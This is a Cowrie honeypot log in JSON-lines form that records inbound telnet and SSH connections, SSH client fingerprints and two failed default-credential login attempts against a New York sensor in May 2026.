{"eventid":"cowrie.session.closed","duration":31.590059280395508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:41.644374Z","src_ip":"198.50.122.223","session":"5eacd009f9ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.92419147491455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:41.938092Z","src_ip":"198.50.122.223","session":"50e84ba93334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987653970718384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:42.066042Z","src_ip":"198.50.122.223","session":"da1f4ddb2c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef17b7eb600","protocol":"telnet","message":"New connection: 198.50.122.223:47548 (10.17.0.5:23) [session: 1ef17b7eb600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:42.354789Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.130.151","src_port":14626,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd56aea09f55","protocol":"telnet","message":"New connection: 45.65.130.151:14626 (10.17.0.5:23) [session: fd56aea09f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:42.887919Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"614d89edd3aa","protocol":"telnet","message":"New connection: 198.50.122.223:53714 (10.17.0.5:23) [session: 614d89edd3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:43.493175Z"}
{"eventid":"cowrie.session.closed","duration":30.780001401901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:44.096610Z","src_ip":"198.50.122.223","session":"51e41198f6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60480,"dst_ip":"10.17.0.5","dst_port":23,"session":"20cffab99169","protocol":"telnet","message":"New connection: 198.50.122.223:60480 (10.17.0.5:23) [session: 20cffab99169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:44.800753Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33550,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f83bb1981db","protocol":"telnet","message":"New connection: 198.50.122.223:33550 (10.17.0.5:23) [session: 0f83bb1981db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:45.147294Z"}
{"eventid":"cowrie.session.closed","duration":30.88264226913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:46.125323Z","src_ip":"198.50.122.223","session":"796aac4ad93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39110,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea2232c78381","protocol":"telnet","message":"New connection: 198.50.122.223:39110 (10.17.0.5:23) [session: ea2232c78381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:46.239974Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef564f3610ad","protocol":"telnet","message":"New connection: 198.50.122.223:44566 (10.17.0.5:23) [session: ef564f3610ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:47.310763Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"a508712f4837","protocol":"telnet","message":"New connection: 198.50.122.223:46228 (10.17.0.5:23) [session: a508712f4837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:47.625638Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fdb387d59b0","protocol":"telnet","message":"New connection: 198.50.122.223:47582 (10.17.0.5:23) [session: 2fdb387d59b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:47.770179Z"}
{"eventid":"cowrie.session.closed","duration":31.01109218597412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:47.863058Z","src_ip":"198.50.122.223","session":"91f0db732f97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.196.164.80","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20722a21a7e","protocol":"telnet","message":"New connection: 217.196.164.80:59764 (10.17.0.5:23) [session: b20722a21a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:48.129805Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49436,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a923e741389","protocol":"telnet","message":"New connection: 198.50.122.223:49436 (10.17.0.5:23) [session: 2a923e741389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:48.272279Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2bacbcb703","protocol":"telnet","message":"New connection: 198.50.122.223:53838 (10.17.0.5:23) [session: 6c2bacbcb703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:48.991370Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54412,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e07a0fa388","protocol":"telnet","message":"New connection: 198.50.122.223:54412 (10.17.0.5:23) [session: 18e07a0fa388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:49.188038Z"}
{"eventid":"cowrie.session.closed","duration":31.756060361862183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:49.887733Z","src_ip":"198.50.122.223","session":"5bbb3f217ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f92ec4c95f","protocol":"telnet","message":"New connection: 198.50.122.223:59974 (10.17.0.5:23) [session: a9f92ec4c95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:50.461640Z"}
{"eventid":"cowrie.session.closed","duration":31.011038780212402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:50.533869Z","src_ip":"198.50.122.223","session":"dec0902b3547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.196.164.80","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"217c83dff621","protocol":"telnet","message":"New connection: 217.196.164.80:59980 (10.17.0.5:23) [session: 217c83dff621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:50.567978Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3c08674b1f","protocol":"telnet","message":"New connection: 198.50.122.223:33368 (10.17.0.5:23) [session: 2a3c08674b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:50.666954Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53124,"dst_ip":"159.203.135.109","dst_port":22,"session":"105c9b2f192d","protocol":"ssh","message":"New connection: 122.168.114.167:53124 (159.203.135.109:22) [session: 105c9b2f192d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:50.762981Z"}
{"eventid":"cowrie.session.closed","duration":31.019041061401367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:51.508093Z","src_ip":"198.50.122.223","session":"148adc153465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59350299835205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:52.236932Z","src_ip":"198.50.122.223","session":"8a2a38e93282","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:52.390832Z","src_ip":"122.168.114.167","session":"105c9b2f192d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:52.394812Z","src_ip":"122.168.114.167","session":"105c9b2f192d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"0404a24a4283","protocol":"telnet","message":"New connection: 198.50.122.223:42180 (10.17.0.5:23) [session: 0404a24a4283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:52.552998Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44370,"dst_ip":"10.17.0.5","dst_port":23,"session":"190f6b953bb8","protocol":"telnet","message":"New connection: 198.50.122.223:44370 (10.17.0.5:23) [session: 190f6b953bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:52.933274Z"}
{"eventid":"cowrie.session.closed","duration":31.06533455848694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.438224Z","src_ip":"198.50.122.223","session":"e3492f0e7fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.047341346740723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.488366Z","src_ip":"198.50.122.223","session":"a777c6898ee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46684,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00225b28584","protocol":"telnet","message":"New connection: 198.50.122.223:46684 (10.17.0.5:23) [session: e00225b28584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.510643Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54214,"dst_ip":"159.203.135.109","dst_port":22,"session":"0befef41410e","protocol":"ssh","message":"New connection: 159.203.92.129:54214 (159.203.135.109:22) [session: 0befef41410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.943285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.947862Z","src_ip":"159.203.92.129","session":"0befef41410e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.951145Z","src_ip":"159.203.92.129","session":"0befef41410e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"password","message":"login attempt [apache/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:53.962537Z","src_ip":"159.203.92.129","session":"0befef41410e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17993474006653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:54.755425Z","src_ip":"198.50.122.223","session":"5c4e8babfe85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53372,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf6ace4385d","protocol":"telnet","message":"New connection: 198.50.122.223:53372 (10.17.0.5:23) [session: 9bf6ace4385d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:54.846620Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:54.968300Z","src_ip":"159.203.92.129","session":"0befef41410e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.130.151","src_port":14731,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b6173e258b2","protocol":"telnet","message":"New connection: 45.65.130.151:14731 (10.17.0.5:23) [session: 3b6173e258b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:55.355988Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"932287b6e23b","protocol":"telnet","message":"New connection: 198.50.122.223:56880 (10.17.0.5:23) [session: 932287b6e23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:55.655048Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35852,"dst_ip":"10.17.0.5","dst_port":23,"session":"14d1eeafd76b","protocol":"telnet","message":"New connection: 198.50.122.223:35852 (10.17.0.5:23) [session: 14d1eeafd76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:57.069805Z"}
{"eventid":"cowrie.session.closed","duration":31.292047023773193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:57.349903Z","src_ip":"198.50.122.223","session":"c26de7ae3a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35530,"dst_ip":"10.17.0.5","dst_port":23,"session":"954d12240f3c","protocol":"telnet","message":"New connection: 198.50.122.223:35530 (10.17.0.5:23) [session: 954d12240f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:57.971539Z"}
{"eventid":"cowrie.session.closed","duration":30.798142910003662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:58.140741Z","src_ip":"198.50.122.223","session":"717eb9147cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36332,"dst_ip":"10.17.0.5","dst_port":23,"session":"916fd926ed03","protocol":"telnet","message":"New connection: 198.50.122.223:36332 (10.17.0.5:23) [session: 916fd926ed03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:58.271690Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44172,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b640587c19","protocol":"telnet","message":"New connection: 198.50.122.223:44172 (10.17.0.5:23) [session: 77b640587c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:58.696538Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89473d86528","protocol":"telnet","message":"New connection: 198.50.122.223:45906 (10.17.0.5:23) [session: a89473d86528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:59.107146Z"}
{"eventid":"cowrie.session.closed","duration":31.32220959663391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:59.486453Z","src_ip":"198.50.122.223","session":"0504d66a857e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.239070177078247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:00.195438Z","src_ip":"198.50.122.223","session":"36e9b533b6cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:01.700587Z","src_ip":"122.168.114.167","session":"105c9b2f192d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.901036739349365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:02.338009Z","src_ip":"198.50.122.223","session":"76a970e8cfa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19913959503174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:02.517631Z","src_ip":"198.50.122.223","session":"ad09fc6ac783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236744165420532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:03.807865Z","src_ip":"198.50.122.223","session":"07a65c0f4852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003364086151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:04.248291Z","src_ip":"198.50.122.223","session":"f604e91d2ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44002,"dst_ip":"10.17.0.5","dst_port":23,"session":"49115d230a21","protocol":"telnet","message":"New connection: 198.50.122.223:44002 (10.17.0.5:23) [session: 49115d230a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:04.719125Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44080,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ecaf3ea6650","protocol":"telnet","message":"New connection: 198.50.122.223:44080 (10.17.0.5:23) [session: 1ecaf3ea6650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:04.733890Z"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:04.740672Z","src_ip":"122.168.114.167","session":"105c9b2f192d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53864,"dst_ip":"159.203.135.109","dst_port":22,"session":"1178e52e8510","protocol":"ssh","message":"New connection: 103.228.69.212:53864 (159.203.135.109:22) [session: 1178e52e8510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:05.306565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:05.324289Z","src_ip":"103.228.69.212","session":"1178e52e8510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:05.567228Z","src_ip":"103.228.69.212","session":"1178e52e8510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48948,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3566dd042d","protocol":"telnet","message":"New connection: 198.50.122.223:48948 (10.17.0.5:23) [session: 4f3566dd042d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:05.661489Z"}
{"eventid":"cowrie.session.closed","duration":30.37489676475525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:06.022002Z","src_ip":"198.50.122.223","session":"47d8180a38af","protocol":"telnet"}
